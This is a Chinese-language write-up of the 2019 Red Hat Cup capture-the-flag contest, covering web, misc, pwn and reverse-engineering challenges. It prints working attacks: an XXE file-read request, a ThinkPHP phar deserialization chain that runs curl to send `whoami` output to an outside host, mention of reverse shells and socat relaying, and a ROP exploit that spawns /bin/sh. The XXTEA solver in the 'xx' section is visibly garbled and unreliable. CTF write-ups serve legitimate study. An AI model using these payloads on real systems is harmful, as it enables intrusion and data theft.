2019紅帽杯 writeup

  • 2020 年 1 月 20 日
  • 筆記

Web

Ticket_System

解題思路 XXE可以讀文件

POST /postXML HTTP/1.1  Host: 118.190.135.20  Content-Length: 143  Accept: application/xml, text/xml, */*; q=0.01  Origin: http://118.190.135.20

Content-Type: application/xml;

用 php://filter 來讀源碼:

POST /postXML HTTP/1.1  Host: 118.190.135.20  Content-Length: 204  Accept: application/xml, text/xml, */*; q=0.01  Origin: http://118.190.135.20  Content-Type: application/xml;charset=UTF-8  Referer: http://118.190.135.20/ticket  Accept-Encoding: gzip, deflate  Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  Cookie: PHPSESSID=eu5755jfof1o6df83mtr4e984n  Connection: close    <!DOCTYPE foo [<!ELEMENT foo ANY >  <!ENTITY  xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/proc/self/cwd/index.php" >]>  <ticket>  <username>&xxe;</username>  <code>aaaa</code>  </ticket>

hint in /hints.txt

You'r clever. But not enough. Try RCE!

可以rce,在部落格上找到的⼀條5.2.0的鏈,phar反序列化,上傳phar.xml(改後綴),然後xxe⽤

Phar協議讀,但是是www-data許可權:

<?php  namespace thinkprocesspipes {      class Windows      {          private $files;          public function __construct($files)          {              $this->files = array($files);          }      }  }  namespace thinkmodelconcern {      trait Conversion      {          protected $append = array("Smi1e" => "1");      }      trait Attribute      {          private $data;          private $withAttr = array("Smi1e" => "system");              public function get($system)          {              $this->data = array("Smi1e" => "$system");          }      }  }  namespace think {      abstract class Model      {          use modelconcernAttribute;          use modelconcernConversion;      }  }  namespace thinkmodel {      use thinkModel;      class Pivot extends Model      {          public function __construct($system)          {              $this->get($system);          }      }  }  namespace {      $Conver = new thinkmodelPivot("curl http:// -d `whoami`;");      $payload = new thinkprocesspipesWindows($Conver);      @unlink("phar.phar");      $phar = new Phar("phar.phar"); //後綴名必須為phar      $phar->startBuffering();      $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //設置stub      $phar->setMetadata($payload); //將自定義的meta-data存入manifest      $phar->addFromString("test.txt", "test"); //添加要壓縮的文件      //簽名自動計算      $phar->stopBuffering();      echo urlencode(serialize($payload));  }

後續參考*CTF的read_flag過程,根目錄下存在一個有可執行許可權的readflag二進位文件,拉回來分析以後與*CTF一模一樣,也是需要在100ms里把計算結果輸入進去。於是參考*CTF中關於此步的思路,上傳一個靜態編譯的socat,把readflag的標準輸入輸出轉為socket通道,也就是類似於pwn題的做法

反彈兩個shell,一個執行socat

 ./socat tcp-l:9999,fork exec:/readflag    另一個連接轉發出來的埠進行交互交互  #!/usr/bin/perl -w  use IO::Socket;  my $sock=IO::Socket::INET->new(        PeerAddr =>'127.0.0.1',        PeerPort => 9999,        Proto =>'tcp')or die $@;  $sock->recv($res, 1024);  print $res;  $sock->recv($res, 1024);  print $res;  $data = eval($res);  print $data; # 列印計算結果  $sock->send($data);  $sock->recv($res, 1024);  print $res;  $sock->send($data);  $sock->recv($res, 1024);  print $res;  $sock->recv($res, 1024);  print $res;  $sock->recv($res, 1024);  print $res; // 列印flag  $sock->close or die $!;  # 退出  exit 0; 

Misc

惡臭的數據包

把握手包提取出來,之後用hashcat跑包。跑出密碼為12345678

在wireshark中設置如下: Edit -> Preferences -> Protocols -> IEEE802.11 -> Edit

解密數據包,發現內部有個上傳的圖片,提取出來

結尾又發現一個zip

zip要密碼,嘗試了,不是偽加密,爆破了1-8位數字

在數據包的Cookie里發現JWT,於是訪問他的網站

{      "hint": "for security, I set my password as a website which i just pinged before"  }

伺服器上找到一個後門,直接寫一句話進去,

壓縮包密碼就是這個域名

玩具車

波形為高低電平,對應小車的運行狀態

將wav中的高低電平轉成0和1

然後根據圖中所示原理

分析出四個輪子的轉動情況(除停止之外有四種狀態)

然後編寫exp畫出小車運動軌跡(為了縮小運行時間,可以每隔30個訊號取一個有效訊號)

flag為小車運行軌跡(uuid格式)

WAV.py

import wave    file_name = 'C:\Users\a1516\Desktop\hmb\car\car\L293_2_EnB.wav'  f = wave.open(file_name,'rb')  params = f.getparams()  nchannels, sampwidth, framerate, nframes = params[:4]  str_data = f.readframes(nframes)  a = len(str_data)/2  data = ''  j=1  for i in range(int(a)):      da = str_data[i*2]      j+=1      if(j!=30):          continue      else:          j=1      if da == 0:          data += '0'      else:          data += '1'    a = open('C:\Users\a1516\Desktop\hmb\car\car\2EnB.txt','w')  a.write(data)  a.close()  f.close()

main.py

import turtle    a = open('1A1.txt','r')  A1_1 = a.read()  a.close  a = open('1A2.txt','r')  A2_1 = a.read()  a.close  a = open('1B1.txt','r')  B1_1 = a.read()  a.close  a = open('1B2.txt','r')  B2_1 = a.read()  a.close  a = open('1EnA.txt','r')  EnA_1 = a.read()  a.close  a = open('1EnB.txt','r')  EnB_1 = a.read()  a.close    a = open('2A1.txt','r')  A1_2 = a.read()  a.close  a = open('2A2.txt','r')  A2_2 = a.read()  a.close  a = open('2B1.txt','r')  B1_2 = a.read()  a.close  a = open('2B2.txt','r')  B2_2 = a.read()  a.close  a = open('2EnA.txt','r')  EnA_2 = a.read()  a.close  a = open('2EnB.txt','r')  EnB_2 = a.read()  a.close      turtle.setup(5000,500,0,0)  turtle.pensize(0.1)  turtle.speed(100)  turtle.right(90)  turtle.penup()  turtle.goto(-600,0)  turtle.pendown()    for i in range(len(EnA_1)):      go_l_1 = 0;      go_l_2 = 0;      go_r_1 = 0;      go_r_2 = 0;      #print(len(EnA_1))      #print(i)      b = EnA_1[i]+A1_1[i]+A2_1[i]      if(EnA_1[i]=='0'):          go_l_1=0      elif(A1_1[i] == A2_1):          go_l_1=0      elif(b == '101'):          #print('正轉+1')          go_l_1=1      elif(b=='110'):          #print('反轉-1')          go_l_1=-1      else:          print('錯誤!!!')      #print('go_l_1 = '+str(go_l_1))        b = EnA_2[i]+A1_2[i]+A2_2[i]      if(EnA_2[i]=='0'):          go_l_2=0      elif(A1_2[i] == A2_2):          go_l_2=0      elif(b == '101'):          #print('正轉+1')          go_l_2=1      elif(b=='110'):          #print('反轉-1')          go_l_2=-1      else:          print('錯誤!!!')      #print('go_l_2 = '+str(go_l_2))        b = EnB_2[i]+B1_2[i]+B2_2[i]      if(EnB_2[i]=='0'):          go_r_2=0      elif(B1_2[i] == B2_2):          go_r_2=0      elif(b == '101'):          #print('正轉+1')          go_r_2=1      elif(b=='110'):          #print('反轉-1')          go_r_2=-1      else:          print('錯誤!!!')      #print('go_r_2 = '+str(go_r_2))        b = EnB_1[i]+B1_1[i]+B2_1[i]      if(EnB_1[i]=='0'):          go_r_1=0      elif(B1_1[i] == B2_1):          go_r_1=0      elif(b == '101'):          #print('正轉+1')          go_r_1=1      elif(b=='110'):          #print('反轉-1')          go_r_1=-1      else:          print('錯誤!!!')      #print('go_r_1 = '+str(go_r_1))        if(go_l_1==1 and go_l_2==1 and go_r_1==1 and go_r_2==1):          turtle.fd(0.02)      elif(go_l_1==-1 and go_l_2==-1 and go_r_1==-1 and go_r_2==-1):          turtle.fd(-0.02)      elif(go_l_1==1 and go_l_2==1 and go_r_1==-1 and go_r_2==-1):          turtle.left(0.33)      elif(go_l_1==-1 and go_l_2==-1 and go_r_1==1 and go_r_2==1):          turtle.right(0.33)      else:          print(go_l_1,go_l_2,go_r_1,go_r_2,flag_right,flag_left)    turtle.done()

PWN

three

from pwn import *  context.log_level = 'debug'    #p = process('./pwn')  p = remote()  p.sendlineafter('Give me a index:','3')  migStack = 'x89xccxc3'  p.sendafter('Three is good number,I like it very much!',migStack)  binsh_len = len('/bin/shx00')  pop_ecx_ebx = 0x08072fb2  pop_eax_edx_ebx = 0x080568b4  int80 = 0x08049903  shellcode = p32(pop_ecx_ebx) + p32(0) + p32(0) +p32(pop_eax_edx_ebx) + p32(0xb) + p32(0) + p32(0x80f6ce1) + p32(int80)  p.sendlineafter('Leave you name of size:','500')  p.sendlineafter('Tell me:',shellcode +'x00'+'/bin/shx00')  p.interactive()

Revers

xx

解題思路

64位控制台程式。大致流程為:輸入後檢查長度為19位元組,檢查前4位元組是否在設定字符集中,並copy到新變數上並00填充至16位元組。然後用這個16位元組數據為密碼加密19位元組數據(經處理後實際加密24位元組),加密演算法特徵明顯,為XXTEA,與題名相合。最後加密位元組組經亂序後進行某種異或操作,並與常量比較。

題中用到的字符集為:qwertyuiopasdfghjklzxcvbnm1234567890。

至XTEA加密未作改更變19位元組00填充至20位元組,再加上4位元組小端表示的原長度,所以加密的原文是24位元組。

異或計算過程是將24位元組分成8組,每組3位元組,每組異或值相同。第0組取值為0,即不異或,第i組(0<i<8),異或值取異4位元組的前i位元組

的異或值,如記24位元組記為a,第2組異或值取a[0]^a[1]。

XXTEA的加密密鑰前4位元組為原始輸入的前4位元組,得到密文可枚舉。但想來如果輸入符合正常flag格式,前4位元組即為flag。嘗試解密成功。反解如下:>from operator import xor  from py_teadimport xxtea  aef mtin():    = [ 1 0xce,0xbc 0x40,     1    0x5b 6x7c 0x3a,   6      0x95,0xc0,0xef         20x9b,0x40 0x20,   1      0x97,0xf8,0x02   1      0x35,0x23,0x7,       2  0x03,0xc8,0xe7   1      0x56,0x59 0xfa]   1b = list(a)    for i in range(8,,):      for j in range(3):        tmp = reduce(xor b[:i])       1a[3*i+j] ^=  tmp        idx = [2,0,3,5,6,4,7,7 80,, 71 9,64 10 ,5 ,3 58 1, 1, 17,22,0, ,3 21]   2enc = [0]*48    key =2'flag'+'x00'*12    for i in range(04):>    enc[idx[i]] = a[i]    printxxtea.xxtea_decrypt(''.join(map(chr,denc),key,endian='<')

easyRE

b程式為64位ELF格式。在main函數中有兩次輸入,求解後知道此非flag,main函數也非關鍵所在。兩次輸入求解結果為:

Info:The first four chars are `flag`

https://bbs.pediy.com/thread-254172.htm

然後查看init_array,發現其中函數有取timestamp並保存到全局變數,且此變數還在另一個函數中使用了,此函數在finit_array列表中,看著像有著什麼,其偽程式碼如下:un  signed __int64 sub_400D35()  {    unsigned __int64 result; // rax    unsigned __int64 v1; // rt1    unsigned int v2; // [rsp+Ch] [rbp-24h]    signed int i; // [rsp+10h] [rbp-20h]    signed int j; // [rsp+14h] [rbp-1Ch]    unsigned int v5; // [rsp+24h] [rbp-Ch]    unsigned __int64 v6; // [rsp+28h] [rbp-8h]      v6 = __readfsqword(0x28u);    v2 = sub_43FD20() - qword_6CEE38;    for ( i = 0; i <= 1233; ++i )    {      sub_40F790(v2);      sub_40FE60();      sub_40FE60();      v2 = sub_40FE60() ^ 0x98765432;    }    v5 = v2;    if ( (v2 ^ byte_6CC0A0[0]) == 'f' && (HIBYTE(v5) ^ byte_6CC0A3) == 'g' )    {      for ( j = 0; j <= 24; ++j )        sub_410E90(byte_6CC0A0[j] ^ *(&v5 + j % 4));    }    v1 = __readfsqword(0x28u);    result = v1 ^ v6;    if ( v1 != v6 )      error();    return result;  }    結合main函數中解出的前4位元組為flag的hint,上面程式碼python計算如下:>>> a=[0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F,  ...   0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E,  ...   0x72, 0x3C, 0x32, 0x45, 0x5B]  >>> b = map(lambda x,y:ord(x)^y ,'flag',a[0:4]  ...  ... )  >>> b  [38, 89, 65, 49]  >>> for i in range(len(a)):  ...   a[i] ^= b[i%4]  ...  >>> a  [102, 108, 97, 103, 123, 65, 99, 116, 49, 118, 101, 95, 68, 101, 102, 101, 110, 53, 101, 95, 84, 101, 115, 116, 125]  >>> print ''.join(map(chr,a))

calc

解題思路

題此題是64位c++控制台程式。一共3次輸入,記為x,y,z。每次輸入後緊接著就是乘和乘方計算,其實是沒什麼用的,干

擾而已。從地址0x140002B31開始,計算才有用。

先是檢查x < z和y < x,接著計算兩個算式:

(x+y)**3 -3*y*x**2 - 3*x*y**2得(z+4)**3 - 12*z**2 - 48*z - 2  最後校驗兩個算式結果相等,所以最終得到一個三元方程:(x+y)**3 -3*y*x**2 - 3*x*y**2 = (z+4)**3 - 12*z**2 - 48*z - 22

化得:

x**3 + y**3 + (-z)**3 = 42

合今年的新聞:

搜索到那個亮閃閃的計算式:(-80538738812075974)^3 + 80435758145817515^3 + 12602123297335631^3 = 422  所以:x=80435758145817515  y=12602123297335631  z=80538738812075974
>>> md5("804357581458175151260212329733563180538738812075974").hexdigest()  '951e27be2b2f10b7fa22a6dc8f4682bd''

childR

解題思路

此題64位控制台程式。題目意思大概是輸入經亂序後重組成經修飾後的c++符號字串,然後通過UnDecorateSymbolName調用轉成非修飾的完整符號字串,最後通過兩個表校驗。

先通過最後校驗得到非修飾的完整c++符號字串:  l = '(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'    h = '55565653255552225565565555243466334653663544426565555525555222'    t = '''1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'''    name = ''    for i in range(len(l)):      name += chr(t.index(l[i])+t.index(h[i])*23)    print name

得到 private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)。

想得到修飾後的符號,可以寫個dll啊。得通過查看編譯好的dll,到?修飾後的符號字串:My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z。

然後就是確定亂序的規則了。通過動態發現亂序取值順序是固定的,於是直接輸入31個不同字元,通過結果獲取到亂序的取值規則。輸入到name的變換序號(

>>> t1='1234567890abcdefghijklmnopqrstu'  >>> t2='666738686939346A6B306C6D6135326E6F6270716336727364747565373331'.decode('hex')  >>> idx=[]  >>> for i in t2:  ...   idx.append(t1.index(i))  ...  >>> idx  [15, 16, 7, 17, 18, 8, 3, 19, 20, 9, 21, 22, 10, 4, 1, 23, 24, 11, 25, 26, 12, 5, 27, 28, 13, 29, 30, 14, 6, 2, 0]

修飾後的符號字串轉成原始輸入:

>>> d='?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'  >>> idx  [15, 16, 7, 17, 18, 8, 3, 19, 20, 9, 21, 22, 10, 4, 1, 23, 24, 11, 25, 26, 12, 5, 27, 28, 13, 29, 30, 14, 6, 2, 0]  >>> dd = [0]*31  >>> for i in range(31):  ...   dd[idx[i]] = d[i]  ...  >>> ''.join(dd)  'Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP'  >>> from hashlib import md5  >>> md5('Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP').hexdigest()  '63b148e750fed3a33419168ac58083f5'

Snake

解題思路

查看Assembly-CSharp.dll程式碼後發現並沒有特別的東西。在Plugins目錄下發現Interface.dll文件,簡單靜態分析後確定關鍵在此文件的GameObject導出函數中,其中Assembly-CSharp.dll中調用如下:Debug.Log(Interface.GameObject((int)base.gameObject.transform.position.x, (int)base.gameObject.transform.position.y));

參數為坐標。

實際此導出函數只用到了x坐標,通過簡單調試,發現x取值在[0,199]之間可能得flag。關鍵計算程式碼為大數計算,有點難看,乾脆無腦枚舉。於是寫了個dll調用的枚舉程式,跑得有點慢。

招新小廣告

ChaMd5 ctf組 長期招新

尤其是crypto+reverse+pwn+合約的大佬

歡迎聯繫[email protected]